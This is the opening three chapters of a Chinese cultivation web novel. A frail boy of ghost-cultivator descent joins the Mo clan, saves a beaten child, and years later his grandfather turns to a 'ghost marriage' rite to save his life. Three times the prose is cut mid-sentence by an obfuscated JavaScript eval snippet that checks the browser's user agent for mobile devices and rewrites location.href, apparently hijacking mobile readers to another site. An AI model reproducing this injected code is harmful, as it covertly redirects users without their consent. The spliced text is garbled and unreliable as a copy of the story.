《道侣说做鬼都不会放过我》 1. 经年沸雪 禅州不算大,恰在镜海洲的最北边,比魔族盘踞的十方冻海还要更冷些。 不论春夏秋冬,常年冰雪如瀑。 天机城坐落在禅州的正中间,而天机城的最中间,便是隐世多年的墨家。 这里的天总是昏暗,分不清昼夜,屋里的炭火还在噼里啪啦,屋外值守的小厮便被一阵刻意遏制的咳喘声吵醒了。 那声音听的人极难受,好像原本是困在喉间的咳嗽,被憋回胸腔,上不去也下不来。 房中,幼小的孩童侧躺着,头面对着床榻内侧,用被子紧紧捂着口鼻,试图将咳嗽憋回去,但无济于事。 房门口传来了一些行走的动静,墨岚知道是门口守候的小厮听到了自己的声响。 他将被子从脸上拉下来,平躺着喘气,面上是病态的潮红。 他缓了一会,觉得胸膛不那么瘙痒了,嗓子火辣辣地疼。 就在这时,房门被轻轻叩响,一道稚嫩拘谨的声音响起:“小少爷,起了吗?” 墨岚用为数不多的力气回应:“进来。” 一个瞧着比他大不了几岁的孩童端着沉重的托盘,吃力地顶开房门。 他手中的托盘上有一盆冒着热气的水,和用于盥洗的漱具。 小厮名叫墨方,他费力保持平衡,将托盘安稳地放在了桌上,总算松了口气。 墨方一刻不敢停歇,走到墨岚的床帐前,恭敬道:“小少爷,我服侍你起床。” 墨岚来这里半个月,勉强适应了他们对自己的称呼和这些繁琐的礼数。 他直起身子,掀开床帐,露出一张苍白瘦弱的脸庞。 没等墨方伸手搀扶,他抿着唇自己下了床榻,披上挂在旁边的外裳,然后自己洗漱。 墨方在一旁看着他动作,插不上手,有些尴尬。 他先前不过是旁支送来本家后院打杂的小役,运气好被点来伺候这位半月前刚被家主从外城寻回的“小少爷”,一个身负鬼修血脉,病弱不堪的十岁孩童。 整个墨家都在私下议论,这孩子究竟能活几天。 墨岚不知道他在想些什么,动作麻利地将自己家收拾干净,墨方在最后将他手中的帕子接过去,随即离开了卧房。 片刻后,他带着一碗药膳走了进来。 墨岚正乖巧地坐在窗前,看院中那棵落雪的白梅。 墨方倒吸一口凉气,放下手中托盘便赶紧冲过去,把窗户掩上,转过头时语气不自觉有些急促:“小少爷,医仙大人说了您不能吹风……” 他对上了墨岚黑沉沉的眼珠,墨岚脸上没有什么波动,只是静静点头。 “……” 他盯着墨岚吃完了一整碗药膳,收走东西后,方才想起上头对自己吩咐,忙告知墨岚道:“小少爷,家主让您今日巳时去天机阁,他要亲自给您授课。” 眼看着天色,竟是离巳时不远了。 他说的实在仓促,墨岚却没多大反应,只点点头。 擦嘴的手帕被放在桌上,墨方从旁边的衣架上取下熨好的雪狐大氅,帮墨岚披上。 墨岚站起来,自己把衣带系好,兜帽罩在脑袋上,又戴上一双手套,接过墨方递来的手炉。 房门外方才还星星点点的飞雪已经成了鹅毛大雪,墨方撑着伞跟在墨岚后面,为他引路。 墨家的建筑多为环形,穿过重重回廊后,二人来到了整座天机城最中心的建筑,一处高塔。 塔楼一共三层,第一层宴客,第二层藏书,第三层则存放着整个墨家积累多年的财宝。 墨岚站在直通宴客厅的侧门口,正欲抬手敲门。 “那个小杂种?依我看,不足当年湄大小姐千分之一,若不是湄小姐被鬼修引诱,如今怎会轮到一个十岁娃娃当少主?” “话不能这样说,毕竟还是个孩子,又是家主血脉,万一将来……” “你多虑了,再如何尊贵,也沾了一半鬼修血脉,能是什么好东西?先前是我同家主一起去外城将他接回来的,瞧着病歪歪,能不能活下来都来另说。” 墨岚放在门环上的手指不自觉地收回,神情淹没在兜帽之下,心情却是诡异的毫无波澜。 他早就麻木了。 墨方收回伞,显然也听到了里面的动静,他有些生气,但想到自己在墨家的身份地位,只得悻悻道:“小少爷……” 墨岚摇摇头,重新抓上门环,身后却传来一道声音:“怎么不进去。” 那声音极淡极低沉,没什么情绪波动,回头看去,只见到一个威严端正,不苟言笑的中年人,正是家主墨端。 墨岚转过身,弯腰行礼:“家主。” 墨端看着眼前瘦小的亲生外孙,随口道:“不必多礼,进去吧。” 他有修灵修为,耳聪目明,方才塔中的人没有丝毫收敛,没道理听不见。 但墨端一向不想管除了振兴墨家之外的事,不然怎会放任亲生女儿怀着鬼修血脉在外城蹉跎十年。 墨岚转身叩开了房门,站在旁边等着家主先行。墨端扯下兜帽,迈步走进天机阁。 第一层的会客厅原本空旷且沉闷,但临近年关,为了讨一份阖家团圆的喜庆,屋檐和房梁上都挂了喜庆的红布,和全屋暗沉的木材放在一起,看着诡异又突兀。 房中刚才交谈的几个宗室正坐在各自的位置上处理公务,在听到门口的动静时齐齐站起身转向家主,俱是恭敬的姿态。 “见过家主。” 墨岚跟在家主的身后,沉默着。 家主让他们免礼,没有过多理会,带着墨岚径直走向二层。 墨方识趣地停在二楼的楼梯口,目送他们走进藏书阁。 天机阁有地暖,室内的温度比室外高上不少,墨岚捂在狐皮大氅中,不一会便闷出一身虚汗。 偏偏墨端不会注意到这些小事,带着他到了家主专用的书室,让他坐下。 墨端脱下自己的大氅放在一旁:“今日由我带你入门。” 墨岚端坐在板凳上,双手平整地放在大腿上,看起来拘谨又乖巧,若是忽略那过于苍白瘦削的脸颊,便是一个玉雪可爱的小孩子。 墨端移开视线:“天机城不属于镜海天域,但镜海天域那套修仙标准影响甚广,索性沿用。” “修仙者入门称为‘回’级,此阶段灵台初生,灵气回体,是修仙入门;结出金丹后可以掌握体内灵气,称为“生级”,此时最宜修行术法。 而玄级修士灵台大成,邪魔不近,寿数绵延,已是天域多数修士的巅峰修为。在往上便是修仙者的分水岭,锻体。此境界需要经历异常痛苦的‘锻身塑骨捏魂’,相当于将一个人从内到外打碎重新锻造一遍。锻体之后便是修灵境界,最后证道飞升。”① 墨端言简意赅,几句话介绍清楚。 墨岚有些恍惚,这些词汇并不陌生,墨湄疯癫时时常在他耳边念叨自己是二十岁前便锻体的天才。 从前在外城,他吃不饱穿不暖,每日还要承受墨湄的打骂虐待,饿狠了便去与野狗抢食。 他这么个哀贱的命,竟然没死在外城混乱的环境中,撑到了墨湄修行邪功衰竭而死,墨家寻孙。 也算个奇迹。 “墨岚。” 墨端对他的走神有些不满,墨岚浑身一颤,对这个名字还是有些陌生。 这半个月小厮大多叫他小少爷,没人唤过他墨岚。 从前在外城,墨湄都是叫他小杂种的。 “对不起。”墨岚麻利地道歉,手指有些颤抖,后背早已结痂的伤口有些隐隐作痛。 “行了,站起来,我为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119774|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你打通灵脉。”墨端神色淡漠,站起身整理衣服,居高临下地看着他:“过几日便是除夕,你回去好好休息准备赴宴,明日我让医仙为你诊脉。” 墨岚点头:“是,家主。” 墨端带着他走出了天机阁,一场授课半个时辰,顺带帮墨岚通了灵脉,又扔给他一堆筑基丹药。 - “家主,小少爷。”墨方看到家主带着墨岚出了房门,迎上去。 墨端吩咐了他几句,对墨岚说:“你先回去。” 随后下楼走向宴客厅,显然有事要与那些宗室商量。 “小少爷,走吧。”墨端将手炉重新塞到他的手上,领着他原路返回。 积雪落在地板上,被墨家设下的奇特阵法限制住,不至于影响人走路。 墨岚实在太瘦小了,方才在阁中闷了一身的汗,现在又被外头的寒风一吹,又咳嗽起来。 墨方瞧他状态不好,兜帽下的小脸泛着不正常的红,有些心急。 他自己也是个半大孩童,想不到什么好主意:“小少爷,您跟着我抄近道走吧,我先送您回去,然后去找医仙。” 墨岚开口却被寒风灌了嗓子,咳了个撕心裂肺,胡乱点头。 墨方于是牵着他的袖子,带着人离开了风雪肆虐的回廊,走入一旁的花.径。 这条小径多是仆从丫鬟在走,直通天机阁,绕过墨家的花园假山,便到了墨岚的居所后方,还算方便。 墨岚用手将兜帽拢紧,但迎着风走,还是不可避免地被吹到,脖颈被冻得发麻,喉间的不适反倒得以缓解。 花园里大树假山不少,风雪渐小,墨岚的耳畔模糊听见几句呵斥。 “你是哪家的野种?见到本少爷都不行礼!诶,你认识他吗?” “我不认识哇,应该不是本家的吧。喂,跟你说话呢!” 随之而来的是一阵痛呼和站在雪地上互相推搡产生的动静。 墨岚闻言发烧的脑袋清醒了几分。 类似于这样的话语,在外城他几乎日日都能听见。 主角有时是别人,但更多时候,是他。 墨方闷头走得急,手上拽着的衣袖猛地抽紧,他一个趔趄,松开手稳住身形,回过头才发现墨岚正站在原地发呆。 “小少爷?” 墨方见他面色实在难看,一时心急,竟直接伸手想去探他的额头。 在他的手指覆上去时,墨岚产生了很大的反应,他蹲下身抱住自己的膝盖,哪怕被厚厚的大氅包裹住,也能看见他的肩膀连带着整个身子,正在不停颤抖。 墨方愣住了,与此同时,不远处的动静愈发大了。 “你是哑巴不成?本少爷让你说话!” “二哥,他身上有好东西诶……是丹药!” “丹药?给个傻子用也是浪费,不如给本少爷用!” 墨岚蹲在原地,耳边的声音忽远忽近,仿佛是他溺水时的幻境。 墨方蹲下身想将他背起来:“小少爷,我带您去找医仙!” 他隔得太近,声音也大,在墨岚耳中便是如雷贯耳,强行让他清醒过来。 “……墨方。” 他用暗哑的声音唤墨方的名字,身上不知哪里来的力气,挣脱了墨方的手臂。 他站起身抱着汤婆子,强撑着精神环视一圈,指着不远处的一处假山:“去那里。” 墨方视线扫过去,哪里的声音还在继续,听起来像是几个孩童正在欺负另一个孩童。 墨方看着墨岚恹恹的脸:“小少爷……” 墨岚站着缓了一会,没再理他,抬着僵硬地双腿往哪个方向走,身躯暴露在冰天雪地中。 墨方没办法,只好撑着伞跟上他,脸上焦急。 注①节选自专栏《此剑惊春》 2. 一场闹剧 “松手啊!你这倔驴!” “啊!二哥他咬我!” “这狗东西……给我揍他!” 假山下面爆发了一阵争执围殴,被打的小孩正蜷缩在假山下,面对着山石,用脊背抵抗伤害。 墨方跟在墨岚后面,看到这一幕时心中一惊,被围着打的小孩躺在那里不动,死死护着腰腹,额头已经被嶙峋的石头嗑出了不小的伤口,正在流血。 同时,他也看清了那三个闹事的孩童,暗道不好。 为首的正是宗室中颇有话语权的墨争二子,墨和与墨平,另外一个小些的是他们的堂弟,墨信。 被打的孩子看不清脸,不过应该不是本家的小辈。 年关将至,凡是与墨家沾亲带故的几乎都回了本家,许是哪个偏远亲戚家里的孩子走错了路,倒霉被他们撞见勒索。 墨岚一言不发,步伐却飞快,他走到几人面前一边咳嗽一边说:“别打——” 墨和墨平墨信几个你看看我,我看看你,脚下的动作停住,墨和叉着腰对着墨岚冷笑:“你谁啊?” 墨方与他们几人一般大,生怕墨岚吃亏,当即大声道:“大胆,这是家主亲孙,墨岚小少爷!” 墨和对上他的眼,不屑地扫视一圈他身上的杂役服:“本少爷问话,轮得到你这个奴才说话吗!” 墨信一向拿这个堂哥马首是瞻,闻言走上前一脚踹在墨方的膝盖:“屁的小少爷,我可从来没听过家主有孙子!” 墨方被踹也不敢 ,怒目圆瞪,正欲开口,他身边的墨岚却不惯着,随手将手上的手炉往墨信头上砸去。 众人俱是吃了一惊。 天机城寒凉,手炉不是寻常的炭灰,而是实打实点燃的低温银炭,铜制的炉口被磕开,里面的东西落进墨信做工不错的毛皮外套中,瞬间燃起火星。 墨信顿时慌了神,尖叫着扑着身上的火,但无济于事,火势很快从领口蔓延到了别处,在旁边看呆了的墨和与墨平才反应过来,手忙脚乱地去扯他的外衣。 捂着膝盖的墨方也愣住了:“小少爷……” 任谁也没想到,瞧着孱弱瘦小的墨岚,一出手便是狠辣的杀招,丝毫不顾体面。 墨岚眼底没有丝毫波动,趁着他们兵荒马乱,跑到假山下面,将侧躺着的那小孩翻过来。 于是他与一双瞧着有些奇异的眸子对上了。 墨岚原以为这人晕过去了,谁知他醒着,衣裳单薄,根本无法御寒,头发在挣扎间被扯散,混着雪和血粘在脸颊上,额头上被假山嗑出的伤口处流的血已经被冻住了,在脸上拉下长长一道干涸血痕,瞧着刺目。 小孩瞧着比他大些,眼睛黑沉,却泛着些奇异的红光,神色肃然,看着比雪原中食人的冰狼还要更骇人。 “起来。” 墨岚的脸颊已经烧得通红,刚从手炉上挪下的手还沾着余温,他胡乱在这人脸上搓两把,低头却看见他怀中护着两个小小的瓷瓶。 另一边,几人终于将墨信身上那件着火的外袍撕了下去,他倒是机灵,原地在雪地中滚了一圈灭火,除了额头上的伤口和脖子上的一块烧伤,便没什么伤了。 几人反应过来,将愤怒的目光放到了假山下的墨岚身上。 墨岚半分目光都没落到他身上,他与被打的小孩对视,拽着他的手臂想把他拉起来。 但小孩伤得有些重,尤其是抵挡了大部分伤害的后背,那里的衣服早就被刮破,又被冻又被打,瞧着竟是没有一块好肉。 “你们两个杂种!” 墨和怒吼一声,就要冲上前动手,混乱间墨方来不及思考,一边扑到墨岚身前为他挡着,一边大喊:“他是湄大小姐的儿子,要是受伤了,你们都别想好过!” 湄大小姐。 这个名字十年前是墨家年轻一代中极有分量的,但不巧的是,这一代的墨家小辈中对墨湄这个名字的印象都只有“与鬼修私奔外城”、“灵脉尽废”、“令家族蒙羞”。 墨平不知从哪里学来的市井姿态,竟是在墨方脸上啐一口,骂道:“我才不信!就算他真是那人的儿子,也是鬼修的血脉,我们也算替天行道了!” 墨方见劝不动,只好继续护着,大声呼救:“来人啊!来人啊!救救少主!” 这个点的墨家正是繁忙时候,为了年节,各方建筑都要布置,廊下刚好走过一对行色匆匆的丫鬟侍卫。 三人急了眼,冲上前去便是拳打脚踢,墨方分担了一大部分,被他护在身后的墨岚已经烧得神志不清了,连继续搀扶那小孩的力气都没有,腿软得厉害,半靠在假山石上,眼睛就快合上。 小孩盯着他看,片刻后将手里的瓷瓶摔在地上,从满地丹药和碎瓷中捻出两枚药,捏开墨岚的口唇,往里面塞。 墨岚费力吞咽不下,小孩便又从地上掬起一捧还算干净的雪,凑到他唇边。 冰凉让墨岚找回了一丝神志,他凭借本能舔了几口面前的雪,将口中的东西咽下去,半眯着眼看着挡在他们身前的墨方。 “墨方……” 墨方竭尽所能,但双拳难敌六脚,还是被踹到说不出话,闻言只是回头看他,脸上全是泪痕。 蹲在墨岚面前的小孩忽然站起身,手上随手抓了一块瓷片,原地助跑两下,便如一块被掷出的石头,狠狠撞向三人。 “啊——!” “我的手!” 几人来不及反应,便被小孩撞倒在地,脱了外衣后衣衫单薄的墨信手臂上被他手中紧紧捏着的碎瓷划出了一道长长的口子,捂着手臂在地上打滚哀嚎。 小孩由于惯性摔在了另一边,他的手心也有一道长长的血痕,灼热的血液一时难以凝结,便顺着他的手汩汩流淌在地。 他喘了口气,看了看靠在石头上已经闭上眼的墨岚,又看了看躺在地上动弹不得的墨方。 远处传来了有人路过的动静,小孩默然地看着在地上的三人,紧了紧手指,没多犹豫便又扑了上去。 不一会,假山处便传来了足以惊动众人的一道杀猪般的嚎叫。 “啊——!!!!” - “为何打你?” “抢丹药。” 墨端顿住。 几天前在给诸位旁支族人的接风宴上,他做主给了所有尚未筑基的小辈两瓶丹药,一瓶培元丹用于打造灵台,一瓶回春丹用于应急。 自认大方,却没想到还是有人不满足。 “那丹药呢?” “扔了。” 小孩也顿了顿:“给他吃了两颗,回春丹。” “你在同我邀功么。”墨端冷冷盯着他。 “你叫什么,你父母是谁。” 墨端审视着靠在床头的这个瘦弱小儿,衣着尚未换下,是平庸又廉价的款式,上面也没有象征着墨家本家的竹纹。 小孩与他对视,不卑不亢:“我叫何烬。墨涓,何川。” 墨端对这两个名字没有一点印象,该问的都问了,他站起身对身边的侍卫说:“将他的父母带到我面前。” “还有那三个小子的。” 墨端的声音发沉,墨岚还躺在隔壁,昏迷不醒。 何烬混乱间给他喂下的那两颗回春丹起了很大的作用,帮墨岚解了部分热毒,何烬重伤了墨平的脸,闹出的动静才吸引了不远处侍卫的注意,及时将墨岚救下。 何烬多是外伤,墨方也伤得不重,那三个闹事的小子却付出了不少代价。 墨和被撞倒时头部受到重创,墨平的脸被划了一道不浅的伤口,连医仙都说必会感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119775|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染留疤。 至于墨信,额头被手炉砸了口子,火燎了脖子,右手小臂被瓷片伤了经脉,若是运气不好感染,恐与符道无缘了。 天机城以符道唯尊,散修和旁修稀少,当中又以他们墨家唯尊,是当之无愧的符修世家。 不过这些都不重要了。 墨端叫人汇报墨岚的情况。 “禀家主,小少爷先天胎弱,热病与旧疾并发,好在及时抑制,只是刚准备停几天的药又要重续了。” 墨端拧着眉:“其他呢,可有外伤,尤其经脉手臂。” 手下摇摇头:“并未,许是您今日刚为小少爷通了灵脉,他的经脉运转无异,灵台充盈,医仙大人说了,离结丹不远了。” 墨端的眉心在听到这句话时方才舒展,手指轻叩桌面,自言自语:“十岁结丹……尚可。” 手下奉承:“家主血脉自当如此……” 墨端最烦听到血脉之言,这些话仿佛在提醒他,房中躺着的墨岚体内流的另一半血,来自一个肮脏的鬼修。 “我让你找的人呢。” 手下愣了愣,不知哪里触怒了他,有些磕巴:“应、应该已经在议事厅等您了。” 墨端最后看了一眼内间,随口道:“那护主的小厮如何了。” 手下有些窘迫:“属下……属下过会去问问。” 无关紧要的事,墨端不怎么在意:“好生补偿,养好伤后晋为少主贴身侍从。” “是。” 手下敏锐察觉到,家主对小少爷的称呼改成了少主,这是已下定决心栽培了? 多思无异,他没多想便撑着伞跟着墨端来到议事厅。 墨和墨平的爹就坐在里面,脸色难看至极,他的对面坐着一对面相就带着谄媚的夫妻,衣着朴素,丈夫看着惴惴不安,妻子则一直试图与对面的墨争攀谈。 见到墨端,几人站起身行礼,墨端没说话,径直走到主位坐下。 堂下三人久久弯着腰不敢动弹,最终是认为自己儿子受了无妄之灾的墨争率先咬着牙开口。 “家主这是何意?” 唤他们来的小厮只说家主传唤,墨争来的路上接了亲信的传音,这才知道两个儿子带着侄子闯了祸。 更重要的事,还受了严重的伤,侄子半条小命差点搭进去,就连仙途都受到影响。 墨争尚不知晓原因,在见到何家夫妻时便理所应当地将他们当做加害一方,恨不得活撕了二人,就等着家主前来为他儿子侄子主持公道了。 谁知墨端是这个态度。 这是什么意思,敲打他么? 墨争心里窝火。 墨端接过手下递来的茶盏,不紧不慢地浅抿一口,盯着他们又站了几息。 听到墨争说的话,墨端轻嗤一声。 茶盏被狠狠掷在地上,溅起温度不低的茶汤,惊得没见过多少世面,只沾了一个墨家远亲便来本家凑热闹的何家夫妻跪伏在地:“家主息怒!” 墨争也吃了一惊,刚烧起来的气焰被这杯茶水浇灭了。 近年来家主渐渐温和了许多,不似二十年前初掌事时那般杀伐果断,但无论怎么变,他也还是墨端。 “墨争。” 墨端冷冷开口:“你养了两个好儿子啊。” 墨争当即冷汗就下来了。 这样看来,他儿子是先挑事的一方了。 但无论如何,自己家中的小辈受了这样重的伤,墨争勉强挺直了脊背:“犬子实在调皮,整日带着小侄在家中闹腾,是我缺少管束,但……” 墨端将剩下的半句话说完:“连阿湄的孩子,我的亲外孙都敢欺负。” “你的孩子尚且如此,那明日,你们一家是否就要踩在我墨端头上,称霸天机城了?” 3. 阴德圆满 墨岚像是死了一遭,恍惚间几乎看到了外城的街巷。 他听人说过阴曹地府,但从未见过,只是他想,若是什么地方能被称作阴曹地府,那便只能是天机城外城了。 来接他的黑白无常,一个是面容狰狞的墨湄,另一个,是看不清面容的鬼修。 墨岚没什么反应,他这是死了吗? 也行吧,活着可以,死了也没事,反正都是一样的没意思。 只是从小到大对墨湄的憎恶反抗情绪,仿佛在这一刻达到了顶点。 墨岚眼睁睁看着墨湄伸出那双曾经无数次挥向他的手,身体却比脑子更快,不由分说地便扯过来,朝着惨白的手臂便是狠狠一口。 他没听到来自墨湄的凄厉尖叫。 他什么也没听到。 墨岚愣愣松口,恍惚察觉了口中竟然有温热的血液。 再然后,那仿佛不是血液,而是什么琼浆玉露,能让他没有任何痛苦地离开人世。 墨岚随即失去了意识。 …… “小少爷……” “小少爷!” “医仙,家、家主,小少爷他醒了……” 墨方的声音。 墨方? 墨岚思绪杂乱,思考着为什么会在地府听见墨方的声音。 墨方也死了吗? 墨岚觉得有些对不起他,毕竟墨方是为了保护他才会死。 那便见见吧。 墨岚用尽全身力气睁开眼,想看一看因自己而死的墨方,却对上了一张老态龙钟的脸。 这又是什么? 阎王爷吗? 墨岚又闭上了眼,紧接着便被掐着下巴灌进一碗苦涩至极的汤药。 他只得再次睁开眼,却没有力气说话。 “家主,小少爷醒了。” 医仙将药碗从墨岚唇边收走,退到一旁,手指搭上他的脉搏。 “如何了?” “禀家主,勉强稳住了,一月内不得见风受凉,旧疾复发,老夫每日都会来为小少爷施针,稳定内虚。” “多谢医仙。” “家主客气。” 墨岚终于听清了他们在说什么,花了几息时间接受自己还没去死的事实。 他咽下口中汤药,半死不活地开口:“见过家主。” 墨端挥退了医仙和刚下床不久的墨方,声音听不出情绪:“你睡了三日,睡过了除夕。” 墨岚的脑子尚有些迟钝,片刻后挣扎着跪在床上:“家主恕罪,是我的错。” “你的错?你的确有错。”墨端随手拉过旁边的椅子坐下,盯着他看。 “为一个不相干的人涉身险境,荒唐至极。” “……家主恕罪。” 年幼的孩童撑着虚弱的身子跪在床榻上,脑袋紧紧埋在胸前,无论墨端说什么,都只能得到一个“家主恕罪”。 墨端瞧着他的模样,也没心情再与他计较了。 “我已处置了那些人,也在除夕上宣布了你的少主身份。” 墨端站起身,在桌上挥袖放下一把不大的软剑:“往后须知什么事该做,什么事不该做,当好你的墨家少主。” “是。” 墨岚目送他离开,坐在原地缓了一会,才想起来那个被他救下的孩童。 墨端说处置,如何处置? 恰巧此时墨方端着药膳进来,墨岚昏迷三日,暂时只能吃这个。 “少主!” 墨方的腿还有些瘸,他快步走到榻前,墨岚上下看他:“……那日多谢你,你的伤可好些了?” 墨方摇摇头看着他笑:“这是属下该做的,已无碍了,少主我喂您吃药。” 墨岚瞥了一眼旁边黑乎乎的药膳,闭了闭眼,虚弱道:“帮我拿一盏茶吧,太苦了。” 用完膳后,墨岚询问墨方:“你可知那天的几人,还有那个受伤的人,他们如何了?” 墨方救他一次,连升两级,从恰巧被分来照顾少主的杂役变成了少主的贴身侍从,自认非常幸运,本身也心疼墨岚,自然对他有问必答。 “那几个坏人连带着家人被赶出了天机城,永不入禅州。” 墨岚抿着唇不说话,他倒是不关心他们几个,追问:“那个受伤的呢?” 墨方却顿住了,他神色有些黯淡:“……家主道他是祸根,虽护您有功,却是让您昏迷的罪魁祸首,准他在墨家养伤,然后、然后举家搬迁外城,从族谱除名。” 外城。 墨岚浑身一颤,没有人比他更知晓外城是个是什么地方。 鬼修邪魔肆虐,还有许多外地来的散修,混乱不堪,与繁华守序的内城堪比天上地下。 墨家大小姐墨湄当年与一个隐瞒身份的鬼修私定终生,后来鬼修修炼“同甘共苦”的邪功爆体而亡,与他结了道侣契的墨湄被牵连得灵脉俱断,无颜面对墨家众人,孤身来到了外城,靠着鬼修留下的财产过活。 后来才发现,腹中竟然已经有了他。 墨岚不知墨湄当时抱着怎样的心思将他生下,甚至放任他活到了十岁。 她明明对那鬼修恨之入骨,对他也恨屋及乌,虐待折磨着养大。 这些都不重要,重要的是,他因怜悯救下的人,因为他,要去经历他经历过的苦了。 墨岚心里堵塞,有些喘不上气,墨方见他面色苍白,也不知说些什么。 没人能质疑家主的决策,最终,他只能干巴巴地对墨岚说:“少主,您歇息吧。” - 除夕当夜,墨家上下都知道了墨湄之子墨岚被家主从外城寻回,从此便是天机城少主。 有曾见过墨岚真容的宗室对此嗤之以鼻,心里都想着反正也活不了几日了,待墨岚身死,自己家中优秀的小辈便又有了机会。 但翻年不久,久卧养病的少主便结了金丹,迈步“生”级。 这像是一个开头,自此开始,墨岚的修为便突飞猛进短短两年便来到“玄”级,成了同辈中的巅峰。 这还不算完,在墨岚十七岁那年,他锻体了。 锻体,是修士的一个分水岭,能迈过去,便代表着有机会修灵证道,飞升成仙。 许多修士便是在这个重要关头出了岔子,凡身溃败,从此无缘仙道。 墨岚自小体弱,在药罐子里泡着长大,这是整个天机城无人不晓的事实。 小部分人认为,他孱弱的身躯极有可能在锻体时出岔子。 大部分人认为,墨岚天资绝伦,已然超过二十年前十九岁锻体的天之骄女墨湄,锻体对他轻而易举,天机城就要在他手中崛起。 …… 但只有极少部分人知晓,其实墨岚在十六岁时,便已经锻体了。 说是成功,也不尽然,但也未失败。 他的修为已经锻体,但孱弱的身躯却在这项本该得到蜕变的修行当中,又跌一层楼。 换言之,他付出了本就不多的健康,换取了锻体修为。 自那之后,墨岚便从曾经的能够正常生活,变成了缠绵病榻,真正泡在了药罐子中。 且这样的情况愈演愈烈,医仙不久前断言,墨岚活不过十八岁了。 听闻此消息时,墨端失手打翻了一盏茶水。 “为何?!他的旧疾风邪不是已经好得差不多了吗?” 几年过去,墨端脸上有了老态,他尽一切力量培养墨岚,亲授他符道,整个墨家珍藏的功法卷轴任墨岚随意取用,不过是一时心急让墨岚早早锻体,为何会有如此严重的后果? 他原先便瞧着墨岚身子不好,想着早早锻体,也好让墨岚换一副健康的身躯,没想到…… 医仙将墨岚复杂的脉案呈上:“少主……老夫已无力转圜,只能吊着命,再多的,便真的做不了了。” 六年时光和无数的天材地宝,沉没成本太高,墨端已经近八十岁,哪怕修仙者寿数绵延,他也算是中龄了。 墨岚锻体不久,正是打出天机城声望的好时候,再有两年便是苍陵山招生的日子,他真的没有时间了。 这六年来,墨岚的每一步都走在墨端精心布置的棋盘上,他也不负所望,早已在禅州声名鹊起,距离出城只差一步! 墨端想着,心口赌得慌,他挥退医仙,叫来手下。 “……少主病重的消息不能传出去,近日墨沧那边不老实,你避开他的视线,在禅州中寻找能够治好墨岚的法子。” 墨沧是墨端的次子,生来天资平庸,培养多年无用,被当年的墨湄吊打,更是比不上墨岚的一根手指,偏偏小心思太多,墨端早已厌烦了他。 手下觉得有些悬:“可是整个禅州最好的医仙已经……” 医仙无能为力,是因他修行的是传统医道。 墨端沉吟着:“……不计手段,只要能治少主。” 手下浑身一震。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119776|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他还清晰地记着,家主上一次说“不计手段”,是在少主锻体前夕。 …… 墨岚卧床的第二个月,手下从城外将一个神秘的男子带到了家主面前。 “阴婚,借命?”墨端听到这几个字时狠狠拧起眉头,熟悉他的人都知道,这是他发火的前兆。 就算不熟悉他,见到这样难看的脸色,也该懂得收敛。 偏偏那男人气定神闲,点头道:“对。” 墨端一口气没上来,咳了几声,许是对自己这样失态的懊悔,又或是真的觉得荒唐,他竟然挥手:“将他押下去,丢出天机城!” 想了想,他补充:“直接拖下去杀了吧。” 墨端在天机城待了那么久,从未听过有什么阴婚借命,听名字都知道是邪术,墨家一向最排斥鬼修,直接将这男人当做了鬼修,要将他处死。 那男人也是个奇人,死到临头依旧侃侃而谈:“家主自可不信,但你的手下在整个禅州转了一圈都未找到治好少主的方法,怕是还得出一趟禅州,往十方海寻。” “但你真的能确保,少主能活到他带着救人的法子回来吗?” 侍卫们将要放到男人肩膀上的手顿住了,墨端在男人话音落下的瞬间释放出一阵慑人的威压。 他已有修灵中期的修为,进一步便是修灵巅峰,半步飞升,在场无人能与他抗衡。 男人却没什么反应,也不知是真的胆大包天还是留有后手。 “家主慢慢考虑吧,须知,左右不过一个死。” 墨端心中蒙着阴翳,墨岚当然不能死。 他曾经放任墨湄腐烂……决不能再重蹈覆辙。 不论是出于对天机成为未来的考虑,还是出于对墨湄母子那些难以言说的愧疚。 男人的声音竟然带上了笑意:“试一试,万一活了呢?” 墨端冷冷看着他,手上的茶盏碎成了齑粉,终于还是孤注一掷。 “……若是出了差错,我会让你见识见识天机城的手段。” “在下对这些倒是不感兴趣。” …… 阴婚借命。 第一步,便是找个死人。 男人的神情淹没在兜帽之下,声音被法术乔装,听不出年岁:“死人不能随便找,烦请家主告知少主的生辰八字。” 墨端无言以对,他早年知晓墨岚存在,却从未在意过他的生辰八字,自然无法作答。 男人见他沉默,明白了什么,换了个说辞:“若是没有八字相合,便还有一个笼统的范围,不会出错。” “什么。” 男人缓缓吐出几个字:“……阴德圆满之人。” - 外城鬼修肆虐,所修邪功五花八门,最常见的便是发源于十方海的“修罗功法”。 听着好听,实则就是杀人吸食血肉的腌臜残忍勾当,偏偏成本低,自然在外城泛滥。 不成人形的尸身常常堆满外城街道,顶上一些喜欢穷讲究的邪魔不悦,由此衍生出一个专门清理尸身的职业。 